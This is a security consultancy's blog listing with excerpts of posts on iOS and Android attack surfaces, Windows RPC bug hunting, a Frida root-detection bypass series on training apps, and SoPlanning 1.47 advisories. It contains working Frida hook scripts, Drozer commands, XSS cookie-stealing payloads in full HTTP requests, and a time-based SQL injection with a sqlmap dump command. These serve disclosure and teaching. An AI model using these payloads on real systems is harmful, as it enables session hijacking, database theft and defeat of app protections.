Labs

iOS Mobile Application Security | Pentest Limited

iOS Mobile Application Security – What Does Your Attack Surface Look Like?

As of May 2023, there were 1.76 million apps and 460 thousand games on the Apple AppStore. Applications do not always have to financially cost the end user, in-fact, majority would not cost a single penny. So where is the compromise, how can applications be offered at no cost and expected to be secure; are all applications in the store to be trusted, what information would be accessible if an application were to be misconfigured or what behaviors could be carried out if a malicious application were to make its way onto the device? Due to the absence of cost most users would not hesitate to install an application. This action would be taken without considering the impact on information exposure. As mentioned in a previous piece, application interaction often occurs within the first 30 minutes of a user’s day. Interactions have been integrated into routine and will happen without much thought. Developers and organisations strive to provide users with convenient and accessible functionality through applications. However, many developers fail to consider the potential security risks and organisations struggle to fully understand their security posture as a result. As with the Android security principles, to understand attack surface, we first need to understand the structure of an iOS application: iOS applications are a lot more complex than their Android counterparts. iOS applications do not have the ability to communicate directly with hardware. To carry out the communication, defined system interfaces or layers are used. These interfaces enable developers to write applications in a more efficient, and easier manner, to ensure application logic and functionality operates over various iOS versions and device types. Interfaces are provided in the form of special packages called frameworks. The role of a framework is to supply a directory that holds dynamic shared libraries containing files, resources such as nib files, images, and a helper application to support libraries. Layers contain frameworks that, as aforementioned, can be used to assist developers. There are four layers we need to be concerned about, summarised briefly below: Core Operating System Layer – Contains frameworks that could be used to leverage other existing technologies. Core Service Layer – Provides functionality including, but not limited to; in application purchases, access to contact lists, leveraging smart devices via homekit and location services. Media Layer – Used to provide graphics and audio. Cocoa Touch – Assists with user interaction with the application. The main functionality is user touch and motion, however, more exist. Figure 1 – iOS Layered Architecture Application developers have various options on how to approach the development via different application types: Native Hybrid Web Based Native iOS applications are going to be the focus, with specific focus being placed on an application called Damn Vulnerable iOS App-v2(DVIA v2). The application is written in Swift, and as the name suggests, is vulnerable by design. What is an application? At a basic level, iOS applications are compressed into an .IPA file which is an archive containing the relevant application files. The application data can be retrieved by renaming the file to <something>.zip and then extracted in the usual manner. Once complete the contents would become visible and be ready for analysis. iOS applications are uniquely sandboxed. By sandboxing it helps ensure that individual databases are used per application and segregation is occurring. By adopting this process, the chance of another application obtaining confidential information is reduced, however, not nullified. The iOS application contains three containers: Bundle Container – within this container all the application files are located in a designated folder when installed on the device. These will remain static in all resulting installations, on every iOS device, being identical. Important information would be located within this container and would help assist a threat actor in gaining a better understanding of potential attack surface. Data Container – contains unique data that is cached to assist with the running of the application. The files within the Data container would be continually changing to help remember data such as who has authenticated, what point the user stopped interacting so progress could resume from there or what data has been stored. These files should remain on the device until the application is removed. iCloud Container – Contains data stored within the iCloud that has been used by the application. If a user were to interact with one of these files on the application, subsequently, the data in iCloud should be updated to reflect these amendments. Example Misconfigurations When an iOS device has been compromised, a threat actor will look for target applications that would have the most financial gain, or greater chance of obtaining confidential data to carry out further attacks. Static assessment of files contained within the containers outlined above would occur along with dynamic analysis to identify an attack surface. Threat actors, along with supporting API issues, would look to identify misconfigurations within the application logic such as, but not limited to Jailbreak Detection Bypass – Jailbreak detection is often implemented on applications. Developers implement this to prevent threat actors leveraging further tools that could compromise confidential data or from reverse engineering the application. Despite this, there is often a way to bypass this protection exposing the complete attack surface. Local Data Storage Misconfigurations – Local data storage contains application, and user, specific data. This data often relates to authenticated users, developers leaving in hardcoded credentials or excessive permissions. If exploited, the confidentiality of this information would be impacted in a negative manner and the integrity of data would also suffer negatively. Touch/Face ID Bypass – Touch and Face ID can be used by application users to authenticate into the application, an example of this would be your banking application. If the protection were bypassed, the functionality behind would become accessible. This would result in impersonation of the user and funds being transferred to a threat actor-controlled account. Additionally, account details may be amended resulting in availability suffering along with confidentiality and integrity. Phishing – Creating a phishing prompt that would attempt

iOS Mobile Application Security – What Does Your Attack Surface Look Like? Read More »

Android Security Exposure | Pentest Limited

Android Mobile Application Security – Understanding Your Exposure

At the time of writing there are approximately 2.6 million applications available on the Google play store and it should be no surprise that these apps enhance the overall user experience. From disabling your alarm to controlling your smart home devices, or checking the weather, apps have become part of our daily routine. However, because of their often-trivial nature, it can be easy to overlook potential security issues. Both organisations, and recreational developers, aim to provide users with accessible and convenient functionality through apps. However, many developers do not fully understand their applications attack surface and may, therefore, pose a security risk to end-users. To understand the attack surface of an application, we first need to understand the structure of an Android application: Activities – activities allow users to interact with the application by providing a user interface. An application can consist of many activities tied together to perform the desired functionality. Services – services can be described as the worker of the application; they ensure processes continue to function when the user navigates to other activities or applications. Additionally, if an action were to take a prolonged duration of time, a service would be used. Broadcast Receivers – broadcast receivers enable the system to send events to the application out with the regular user flow resulting in a system wide announcement. These can be delivered to the application even if it is not running. Content Providers – content providers help manage data that can be stored on the devices file system, within an SQLite database, or on the web. Manifest File – the manifest file is where all application components are listed, permissions are stated, aliases set, secret codes created, and determine what actions can be performed. (Further information regarding these can be found from the official Android documentation) We now need to understand what risk each component, if misconfigured, could introduce. Example Misconfigurations A threat actor would start by carrying out an analysis of the applications Manifest file. By performing this simple action, an understanding of the attack surface would be obtained. Whilst carrying out this, threat actors would be looking for misconfigurations such as, but not limited to: Secret Codes – string values that can be entered via the dial pad to launch activities. Exported Components – components can either be implicitly or explicitly exported. Exported components enable interaction from other applications and can be launched to bypass restrictions. Aliases – aliases, as they sound, give another name to activities. These can be used opposed to the official activity name and are defined within the <activity> tag. Debug Prevention – a specific element placed in the <application> tag to prevent debugging. Backup – another element within the <application> tag that can be used to allow, or prevent, users from backing up the application and the data associated. Exported Components will be the focal point here and to demonstrate the risk, a vulnerable application, Sieve, will be used alongside Drozer to exploit misconfigurations. Sieve behaves as a password manager and is deliberately misconfigured. These deliberate misconfigurations help demonstrate attack vectors a threat actor would use to exploit your application. Drozer allows threat actors to impersonate an android application allowing interactions with the target application. This would replicate a malicious application on the user’s device, targeting your legitimate app. Further functionality is provided by Drozer such as executing custom payloads, or utilising pre-written exploit scripts, however, this will be outside the scope of this post. Identification of Components The first step in a threat actors’ methodology would be to start the enumeration process. Enumeration of the application would include identifying directories where data is written, application permissions and components exported. Drozer can be leveraged to achieve this information with relative ease. The attack surface can be obtained by issuing the following command: dz> run app.package.attacksurface com.mwr.example.sieve Once executed, the attack surface would be revealed: Figure 1 – Sieve attack surface revealed via Drozer Sieve contained 3 activities, 2 content providers and 2 services that were exported. Additionally, it was possible to debug the application. This can be verified by analysing the Manifest.xml file. Illustrated below was the debug and backup misconfiguration: Figure 2 – Debug and Backup Misconfiguration The exported components could be identified via the following lines contained within the Manifest.xml. Highlighted below are the component name, and their status set as exported. – Explicitly Exported Activities .FileSelectActivity .PWList .FileBackUpProvider Despite listing 3 exported components within Figure 1 – Sieve attack surface revealed via Drozer, only two are a concern as the applications MainActivity will always be exported to enable the successful launch. – Exported Content Providers .DBContentProvider – Exported Services .AuthService .CryptoService An understanding of the attack surface has now been obtained detailing the exact components a malicious application, or threat actor, would target. This knowledge would lead a threat actor into attempting to leverage the exploited components. This will determine what unauthorised actions could be performed and what confidential information could be obtained. Exploitation When launching Sieve, the MainActivity will be launched. The MainActivity would present the following user interface: Figure 3 – Sieve Application The application was, as mentioned, a place for users to store passwords. It appeared as if the application was used prior to launching as there were no register function and was only asking for the user’s password. So, what can be done now, is it possible to bypass this activity? Although a hurdle, in the form of authentication, it may be possible to bypass the login prompt. To do so, exported components may be used. A threat actor would review the data collated and start targeting the components using Drozer. Following a review of the data, an activity of interest will be identified. The .PWList activity was exported, meaning any application on the device can launch it. Using Drozer, mimicking a malicious application, the activity could be launched by using the following command: Once issued, Drozer would instruct the activity to be launched, this would result in authentication bypass. By negating

Android Mobile Application Security – Understanding Your Exposure Read More »

Pentest - Research - RPC

Researching Remote Procedure Call (RPC) vulnerabilities

Introduction In the past few years, several high and critical severity vulnerabilities have been found in Windows RPC by individuals and professional research teams. Windows RPC allows clients to call functions on remote hosts. This opens the doors to potential vulnerabilities that could be exploited remotely to cause denial of service issues, elevate privileges and even remote code execution (RCE). For these reasons, RPC is an interesting area of research. Throughout this post, we will explain: – What RPC is and how it works– History of past RPC vulnerabilities found– How to setup your research environment and start hunting for bugs What is RPC and How Does it Work? Remote Procedure Call (RPC) is a protocol that allows one program to request a service from another program located on another computer on a network without having to understand the network’s details. RPC is used by many Windows services and applications to communicate with other systems on the network. It works on a client-server basis where the client connects to the target interface and calls procedures of that interface which are executed on the server host. RPC interfaces are defined using an Interface Definition Language (IDL), which defines the interface’s function signatures. A binding handle is used to connect to the target interface and invoke functions of that interface. There are multiple types of binding handles, each one defining how much work must be done by the client to interact with the interface. These include automatic, implicit, and explicit binding handles. Image source: https://itm4n.github.io/from-rpcview-to-petitpotam/ Additionally, every interface has a few properties that define them and are needed to connect to them. These are: – protocol: the communication method being either TCP/UDP, named pipes or local RPC– provider: The exe or DLL which exposes the interface and its procedures– UUID: A unique identifier in the form of an alphanumeric string– binding string: Equivalent to an IP address or FQDN but for the interface and the server host Once we have all those pieces of information, we can begin to create our RPC clients and start calling procedures for the interfaces we connect to. We can find these bits of information using tools like RPCView or impacket’s rpcdump as shown below. With this information, we can connect to the interface, by passing them to our client, and a **binding handle** will be created which is then used to communicate with the interface. History of RPC vulnerabilities RPC interfaces have been the source of many vulnerabilities in Windows over the years. Here are some well-known bugs that have been found somewhat recently: – CVE-2022-26809: A heap buffer overflow in the rpcrt4.dll DLL leading to RCE (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809)– PetitPotam: A coercion bug on the MS_EFSR interface (https://github.com/topotam/PetitPotam)– PrintNightmare: A bug that gives attackers RCE by setting an arbitrary printer driver via RPC procedures. (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) CVE-2022-26809 is a critical remote code execution vulnerability in the Remote Procedure Call Runtime Library. A remote, unauthenticated attacker could exploit this vulnerability to take control of an affected system. PetitPotam is a vulnerability that allows attackers to take over Windows domains and servers by abusing the MS-EFSRPC protocol. This protocol is used by Windows for encrypting files on disk and can be abused by causing coercion bugs to capture machine account hashes which can then be used in NTLM relay attacks for movement across a network. PrintNightmare is a vulnerability that allows attackers to execute code remotely with SYSTEM privileges by abusing the Windows Print Spooler service. This service is used for managing print jobs on Windows systems and can be abused by attackers to gain access to sensitive data and executing commands with high privileges. Research Methodology There are multiple workflows and setups to start hunting for vulnerabilities in RPC interfaces. Throughout this section, one method will be explained which we considered to be the fastest, however, it was found that deviating and using different tools in different situations was sometimes a better option than sticking to a strict toolset. In order to find vulnerabilities with a realistic impact, a realistic environment was necessary. In our case, we used a minimalistic Snaplabs template that included: – Windows Domain Controller– Kali host on the internal network– Windows Server 2019 All hosts were fully up to date and in their default configuration. Additionally, a few domain users with different privileges were created. This specific Snaplabs template also incorporated simulated user activity which was convenient as it created processes as expected in a real network which expanded the attack surface giving us more to explore. The next step was to setup the tooling. Several tools were used during the research. First, RPCView was used to understand what interfaces were being used by what processes and what protocols these interfaces used to transfer data (LRPC, TCP/UDP, named pipes). For a reference on how to set RPCView up, refer to itm4n’s blog post in the references section. The most important part of the setup is to ensure that one loads the symbols for all the Windows DLLs. As a quick summary on how to setup RPCView: 1) Download RPCView 2) Download and Install the Windows 10 SDK 3) In PowerShell, run: cd “C:Program Files (x86)Windows Kits10Debuggersx64″ symchk /s srv*c:SYMBOLS*https://msdl.microsoft.com/download/symbols C:WindowsSystem32*.dll 4) In RPCView got to Options > Configure Symbols and in the textbox set it to: srv*C:SYMBOLS then click “Ok” 5) Finally, change the refresh speed to a slower one to make the output more manageable. 10 seconds for example. Options -> Refresh Speed -> 10 seconds As processes are executed, RPCView will show you which interfaces are being used and what procedures those interfaces offer. The next useful tool to progress in the research is Process Monitor. Process Monitor (aka ProcMon) is useful in two ways. First, it allows the researcher to map file, network and registry operations with the process that initiated them. When an RPC procedure is executed, ProcMon will show what files, registry keys and hosts the process is interacting with as well as properties of the operation such as

Researching Remote Procedure Call (RPC) vulnerabilities Read More »

Android Root Detection Bypass using Frida (Part 3 – OWASP Uncrackable 3) | Pentest Limited

Android Root Detection Bypass using Frida (Part 3 – OWASP Uncrackable 3)

This is the third part in a blog series I am creating about bypassing various Android application’s root detection mechanisms. Please see part 2 here and part 1 here. In this part, we are going to be looking to bypass OWASP’s Uncrackable 3. I know, I know, we haven’t looked at Uncrackable 2, but that’s for good reason. To bypass Uncrackable 2, all we have to do is follow the exact same process we used to bypass Uncrackable 1 and Rootbeer, so not writing about it is a good way to put what we have learned to the test. ———— *Before I show how I have bypassed the root/emulator detection I should say that I’m not an expert at this and the way I have performed the bypass might not be the most efficient or “correct” way of doing so. At one point or another we have all been at the start of our learning journeys so please take this into consideration. ————-  As before, you’re going to need some equipment and tools to perform the bypass: Rooted Android device (I’m using an emulated device using Android Studio which has been rooted using rootAVD) ADB Frida JADX Ghidra Anything you want to use to edit code So let’s begin by starting how we always start. Let’s search for the string displayed when the application starts and detects the rooted device. As we saw in the previous applications the string is called when a condition is met within a function, this time the functions are called checkRoot1, checkRoot2, checkRoot3 and isDebuggable. And just like I’m repeating myself and copying from the previous posts, we are gonna search for these functions. Then of course we will copy the function as a Frida snippet. We all know what’s coming next. We place the snippet within a function and change the return value to false. Java.perform(function() { let RootDetection = Java.use(“sg.vantagepoint.util.RootDetection”); RootDetection[“checkRoot1”].implementation = function () { console.log(‘checkRoot1 is called’); let ret = this.checkRoot1(); console.log(‘checkRoot1 ret value is ‘ + ret); return false; }; }); So let’s run the code and see what happens. .frida.exe -U -l bypass3.js -f owasp.mstg.uncrackable3 ____ / _ | Frida 16.0.2 – A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 5554 (id=emulator-5554) Spawned `owasp.mstg.uncrackable3`. Resuming main thread! [Android Emulator 5554::owasp.mstg.uncrackable3 ]-> checkRoot1 is called checkRoot1 ret value is true Process crashed: Trace/BPT trap *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: ‘google/sdk_gphone_x86/generic_x86_arm:11/RSR1.201013.001/6903271:user/release-keys’ Revision: ‘0’ ABI: ‘x86’ Timestamp: 2022-12-23 09:40:47+0000 pid: 10321, tid: 10354, name: tg.uncrackable3 >>> owasp.mstg.uncrackable3 _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 5554 (id=emulator-5554) Spawned `owasp.mstg.uncrackable3`. Resuming main thread! [Android Emulator 5554::owasp.mstg.uncrackable3 ]-> checkRoot1 is called checkRoot1 ret value is true And voilà we have done it. Hopefully you have found this run through somewhat helpful and has given you an understanding of using Ghidra and the Frida API in more detail. Like I said at the start of the write up, this might not be the most efficient or be the “correct” way to bypass the root/frida detection, but I am figuring this out as I go along. If there is any help or tips that you can give me to get better that would be much appreciated.

Android Root Detection Bypass using Frida (Part 3 – OWASP Uncrackable 3) Read More »

Android Root Detection Bypass using Frida (Part 2 - RootBeer Sample | Pentest Limited

Android Root Detection Bypass using Frida (Part 2 – RootBeer Sample)

This is the second part in a blog series I am creating about bypassing various Android application’s root detection mechanisms. Please see part 1 here. In this part we are going to be looking to bypass the RootBeer Sample application. For those of you that haven’t come across RootBeer before it is an open source root detection library for Android and the sample app is used to demonstrate it’s capabilities. The below screenshot is of the app running on my rooted/emulated Android device. ——————- *Before I show how I have bypassed the root/emulator detection I should say that I’m not an expert at this and the way I have performed the bypass might not be the most efficient or “correct” way of doing so. At one point or another we have all been at the start of our learning journeys so please take this into consideration. ——————– As before, the first things you’re gonna need some equipment and tools to perform the bypass: Rooted Android device (I’m using an emulated device using Android Studio which has been rooted using rootAVD) ADB Frida JADX Anything you want to use to edit code This bypass is performed pretty much the same way we bypassed OWASP’s Uncrackable 1 but used some other tools and techniques to trace the methods that are being called. So as we can see from the screenshot I posted above the application, once run, detects our Android as rooted due to a few different reasons. Now we have observed the above behavior we can open the application within JADX just like we did the last time. As we can see from the screenshot the device is failing on a check for “SU Binaries” so we are going to search for this within JAXD. So we can see from JADX that there is a method that we can assume is checking for the SU Binary based on the name. Using Frida-Trace we are gonna connect to the method and see in real time when it is called and the returned value from it. $.frida-trace.exe -U -j “*rootbeer*!*checkForSuBinary*” “RootBeer Sample” Instrumenting… RootBeer.checkForSuBinary: Loaded handler at “[REDACTED]\__handlers__\com.scottyab.rootbeer.RootBeer\checkForSuBinary.js” Started tracing 1 function. Press Ctrl+C to stop. /* TID 0x250e */ 7288 ms RootBeer.checkForSuBinary() 7288 ms Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 5554 (id=emulator-5554) Spawned `com.scottyab.rootbeer.sample`. Resuming main thread! [Android Emulator 5554::com.scottyab.rootbeer.sample ]-> checkForSuBinary is called checkForSuBinary ret value is true Success, we have defeated the check once again. As we saw at the top from the original screenshot there are multiple checks that we need to defeat, so at this point it is essentially rinse and repeat. We need to check which functions are being called and which ones we need to defeat. Once done, we have come up with the below script. Java.perform(function() { let RootBeer = Java.use(“com.scottyab.rootbeer.RootBeer”); RootBeer[“checkForMagiskBinary”].implementation = function () { console.log(‘checkForMagiskBinary is called’); let ret = this.checkForMagiskBinary(); console.log(‘checkForMagiskBinary ret value is ‘ + ret); return false; }; RootBeer[“checkForSuBinary”].implementation = function () { console.log(‘checkForSuBinary is called’); let ret = this.checkForSuBinary(); console.log(‘checkForSuBinary ret value is ‘ + ret); return false; }; RootBeer[“checkSuExists”].implementation = function () { console.log(‘checkSuExists is called’); let ret = this.checkSuExists(); console.log(‘checkSuExists ret value is ‘ + ret); return false; }; RootBeer[“checkForRWPaths”].implementation = function () { console.log(‘checkForRWPaths is called’); let ret = this.checkForRWPaths(); console.log(‘checkForRWPaths ret value is ‘ + ret); return false; }; RootBeer[“checkForNativeLibraryReadAccess”].implementation = function () { console.log(‘checkForNativeLibraryReadAccess is called’); let ret = this.checkForNativeLibraryReadAccess(); console.log(‘checkForNativeLibraryReadAccess ret value is ‘ + ret); return false; }; RootBeer[“canLoadNativeLibrary”].implementation = function () { console.log(‘canLoadNativeLibrary is called’); let ret = this.canLoadNativeLibrary(); console.log(‘canLoadNativeLibrary ret value is ‘ + ret); return false; }; }); And when we run it with Frida and run the application we have defeated RootBeer sample. Hopefully you have found this run through somewhat helpful and has given you a basic understanding of using Frida-Trace and creating your own scripts to use with Frida. Like I said at the start of the write up, this might not be the most efficient or be the “correct” way to bypass the root detection, but I am figuring this out as I go along. If there is any help or tips that you can give me to get better that would be much appreciated. Please see part 3 in this series by clicking here. Originally published on Medium.

Android Root Detection Bypass using Frida (Part 2 – RootBeer Sample) Read More »

Android Root Detection Bypass using Frida (Part 1 – OWASP Uncrackable 1) | Pentest Limited

Android Root Detection Bypass using Frida (Part 1 – OWASP Uncrackable 1)

Mobile application penetration testing is becoming more and more common as the use of mobile applications are now the norm with how businesses allow their users to interact with whatever service they provide. As information/cyber security is quite often a requirement for most businesses the level at which it is implemented has increased. Depending on the function of the application I have noticed an increase in applications implementing some sort of root/emulator detection during penetration tests. Which as you can probably tell is the reason why I have written this blog with the hope I can learn to bypass these mechanisms without using built in tools/script that don’t always work and to hopefully help others to do so as well. The first part is going to be how I have managed to bypass the root/emulator detection on OWASP’s Uncrackable 1 on Android using Frida. Frida and other tools within the toolset can look quite intimidating at first glance but once you get a hang of it, it becomes an incredibly powerful tool to have at your disposal. —————————— *Before I show how I have bypassed the root/emulator detection I should say that I’m not an expert at this and the way I have performed the bypass might not be the most efficient or “correct” way of doing so. At one point or another we have all been at the start of our learning journeys so please take this into consideration. ——————————  First things first, you’re gonna need some equipment and tools to perform this: Rooted Android device (I’m using an emulated device using Android Studio which has been rooted using rootAVD) ADB Frida JADX Anything you want to use to edit code I’m going to assume you already have a basic knowledge of testing Android devices and have used ADB and Frida before. Once you have installed Uncrackable 1 on the Android device we of course need to run it and see what happens. When we click “OK” on the prompt the application exits. The message presented is going to be our starting point when looking for how to bypass the root/emulator detection. Once you have imported the apk into JADX we can search for “Root detected” to see where this string is called. We can see in the code below that the string is called if it meets a condition within methods “m5a”, “m4b” or “m3c”. So once again we are going to search in the code for these. We can see in the code that if a condition exists then the method will return true. The good thing about using JADX is that you can copy parts of code to be used within/with Frida. So in this case to see what happens, we are gonna copy the “m5a” method as a Frida snippet. To make the copied Frida snippet work as a script with Frida we need to put it within a function. Java.perform(function(){ let C0002c = Java.use(“sg.vantagepoint.a.c”); C0002c[“a”].implementation = function () { console.log(‘a is called’); let ret = this.a(); console.log(‘a ret value is ‘ + ret); return ret; }; }); When we run the code snippet with with Frida we can see that the return value is “True” which is why the root detection prompt is shown. $ .frida.exe -U -l bypass.js -f owasp.mstg.uncrackable1 ____ / _ | Frida 16.0.2 – A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 1234 (id=emulator-1234) Spawned `owasp.mstg.uncrackable1`. Resuming main thread! [Android Emulator 1234::owasp.mstg.uncrackable1 ]-> a is called a ret value is true To bypass the root/emulator detection it’s pretty simple. All we have to do within our code is change the return value to “false”. Java.perform(function(){ let C0002c = Java.use(“sg.vantagepoint.a.c”); C0002c[“a”].implementation = function () { console.log(‘a is called’); let ret = this.a(); console.log(‘a ret value is ‘ + ret); return false; }; }); Once changed lets run it again. The output is going to be exactly the same within the command line as we haven’t changed any of the code that is logged to console. But this time we have changed the actual value returned to the method to false. $ .frida.exe -U -l bypass.js -f owasp.mstg.uncrackable1 ____ / _ | Frida 16.0.2 – A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 1234 (id=emulator-1234) Spawned `owasp.mstg.uncrackable1`. Resuming main thread! [Android Emulator 1234::owasp.mstg.uncrackable1 ]-> a is called a ret value is true Which in turn defeats the root detection. Hopefully you have found this run through somewhat helpful and has given you a basic understanding of using Frida and creating your own scripts to use with it. Like I said at the start of the write up, this might not be the most efficient or be the “correct” way to bypass the root detection, but I am figuring this out as I go along. If there is any help or tips that you can give me to get better that would be much appreciated. Please see part 2 in this series by clicking here. Originally published on Medium.

Android Root Detection Bypass using Frida (Part 1 – OWASP Uncrackable 1) Read More »

Reflected XSS Vulnerability – SoPlanning | Pentest Limited

Reflected XSS Vulnerability – SoPlanning

Background Modern applications typically rely on user input to provide the required functionality to the user. In doing so, the application accepts data from an untrusted source. In some circumstances, this data is processed and output to the end user. In other cases, this data is stored by the application for retrieval at a later stage, or for the viewing of other application users or passing onto other services in order to carry out the user request. Cross-Site Scripting is a vulnerability resulting from the lack of or inadequate sanitisation carried out on user supplied data which is then later rendered back to a user. When an application includes user-supplied data in its HTTP response without proper sanitisation, any HTML or JavaScript included within that data would be executed when the response is rendered in the user’s browser. This behaviour could be leveraged by an attacker in order to compromise user sessions within the application. This could allow the attacker to impersonate legitimate users through session hijacking. They could also carry out unauthorised actions in the current user context or access data processed by the application. A variation of Cross-Site Scripting exists which stores the payload in the application which is executed every time the vulnerable parameter is rendered, this is known as stored Cross-Site Scripting. Details SoPlanning v1.47.00 was vulnerable to a reflected Cross-Site Scripting vulnerability. The following page was vulnerable through the ‘rechercheProjet’ URL parameter. The request below showed the injected JavaScript payload which when executed showed the current user’s session cookies as shown in Figure 1: GET /soplanning/www/groupe_list.php?statut%5B%5D=todo&statut%5B%5D=progress&statut%5B%5D=done&statut%5B%5D=abort&statut%5B%5D=archive&rechercheProjet=test%22onmouseover=confirm(document.cookie)%3E%3C/div%3E%3C/div%3EX%3C!– HTTP/1.1 Host: 192.168.0.88 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposJoursWin=0; xposMoisWin=0; yposJoursWin=0; yposMoisWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseColonne=jours; baseLigne=projets; dimensionCase=reduit Connection: close Figure 1 – Authenticated User Cookies The following was the response which showed the XSS payload rendered in the document: Independently, this vulnerability would allow an attacker to steal the session cookies for an authenticated user which would grant them the same access as the target user. This was verified through using the extracted session cookies in a different browser. It could also be used to load and execute malicious code within the application or simply be used to target the user’s browser. Risk Analysis Risk Category: HighCVSSv2: 8.5 A V:N/AC:M/Au:S/C:C/I:C/A:C CVSSv3: 8.0 AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H Affected item SOPlannning version 1.47 and lower Recommendation Update to SOPlannning Version 1.48

Reflected XSS Vulnerability – SoPlanning Read More »

XSS to Account Takeover – SoPlanning | Pentest Limited

XSS to Account Takeover – SoPlanning Software

Background Modern applications typically rely on user input to provide the required functionality to the user. In doing so, the application accepts data from an untrusted source. In some circumstances, this data is processed and output to the end user. In other cases, this data is stored by the application for retrieval at a later stage, or for the viewing of other application users or passing onto other services in order to carry out the user request. Cross-Site Scripting is a vulnerability resulting from the lack of or inadequate sanitisation carried out on user supplied data which is then later rendered back to a user. When an application includes user-supplied data in its HTTP response without proper sanitisation, any HTML or JavaScript included within that data would be executed when the response is rendered in the user’s browser. This behaviour could be leveraged by an attacker in order to compromise user sessions within the application. This could allow the attacker to impersonate legitimate users through session hijacking. They could also carry out unauthorised actions in the current user context or access data processed by the application. A variation of Cross-Site Scripting exists which stores the payload in the application which is executed every time the vulnerable parameter is rendered, this is known as stored Cross-Site Scripting. Details SoPlanning v1.47.00 was vulnerable to a reflected Cross-Site Scripting vulnerability which when combined with other flaws in the application allowed for a successful account takeover attack. The details below describe each issue and how it led to an attacker performing a password reset for any account within the application. The following page was vulnerable to a cross site scripting attack using the ‘by’ URL parameter. The request below showed the injected JavaScript payload which when executed showed the current user’s session cookies as shown in Figure 1: GET /soplanning/www/taches.php?order=titre&by=test%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!– HTTP/1.1 Host: 192.168.0.90 […] Cookie: dateDebut=02/09/2020; dateFin=02/11/2020; xposMoisWin=0; xposJoursWin=0; yposJoursWin=0; yposMoisWin=0; PHPSESSID=jf7pcv7o25upt9qga1f1hosq11; soplanningplanning_=tpbvfnhe1hqftau0oktue7505c; baseLigne=users; baseColonne=jours; date_debut_affiche_tache=02%2F09%2F2020; date_fin_affiche_tache=02%2F11%2F2020 Figure 1 – XSS Cookie The following was the response which showed the XSS payload rendered in the document: HTTP/1.1 200 OK Date: Thu, 03 Sep 2020 10:12:02 GMT […]

XSS to Account Takeover – SoPlanning Software Read More »

Time-based Blind SQL Injection – SoPlanning | Pentest Limited

Time-based Blind SQL Injection – SoPlanning 

Background SQL Injection (SQLi) is a vulnerability whereby an attacker alters the intended logic of an SQL command. To do this they tamper with the original SQL query through user controllable input fields. As a result, the attacker may be able to access, modify and delete stored data, thus compromising its confidentiality, integrity and availability. Depending on the underlying database system it may be possible to read or write files and/or execute commands on the operating system. In these situations, the impact migrates from the database to the supporting infrastructure and would potentially enable onward attacks to occur against neighbouring systems. SQL Injection is a common vulnerability and is often the root cause of major data breaches. Details SoPlanning version 1.47.00 was vulnerable to a time-based blind SQL Injection vulnerability. This allowed an authenticated user to extract information from the application database and included configuration data as well as password hashes. The following was the request made to the tasks page and highlighted below is the vulnerable ‘by’ parameter: GET /soplanning/www/taches.php?order=nom_personne&by=ASC%2c(select*from(select(sleep(20)))a) HTTP/1.1 Host: 192.168.0.88 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.88/soplanning/www/taches.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseLigne=users; baseColonne=jours Connection: close Visiting the URL above when authenticated resulted in a twenty second delay from the server. Altering the number from “20” to “5” reduced the delay to five seconds. This was sufficient proof that an SQL injection vulnerability existed. An attacker can manipulate the logic from this point to extract data. SQLMAP was used to automate this attack. The following shows the command that was executed while column names were enumerated: /sqlmap-dev$ python sqlmap.py -r taskRequest.txt –level=5 –risk=3 -p by –proxy=”http://127.0.0.1:8080″ –dbms=mysql -D soplanning -T planning_user –dump […] Parameter: by (GET) Type: time-based blind Title: MySQL >= 5.0.12 time-based blind – ORDER BY, GROUP BY clause Payload: order=nom_personne&by=ASC,(SELECT (CASE WHEN (8593=8593) THEN SLEEP(5) ELSE 8593 END)) — [18:26:46] [INFO] the back-end DBMS is MySQL [18:26:46] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web application technology: PHP 7.4.9, Apache 2.4.46 back-end DBMS: MySQL >= 5.0.12 [18:26:47] [INFO] fetching columns for table ‘planning_user’ in database ‘soplanning’ […] [18:27:14] [INFO] retrieved: adresse [18:28:04] [INFO] retrieved: cle [18:28:29] [INFO] retrieved: commentaire [18:29:52] 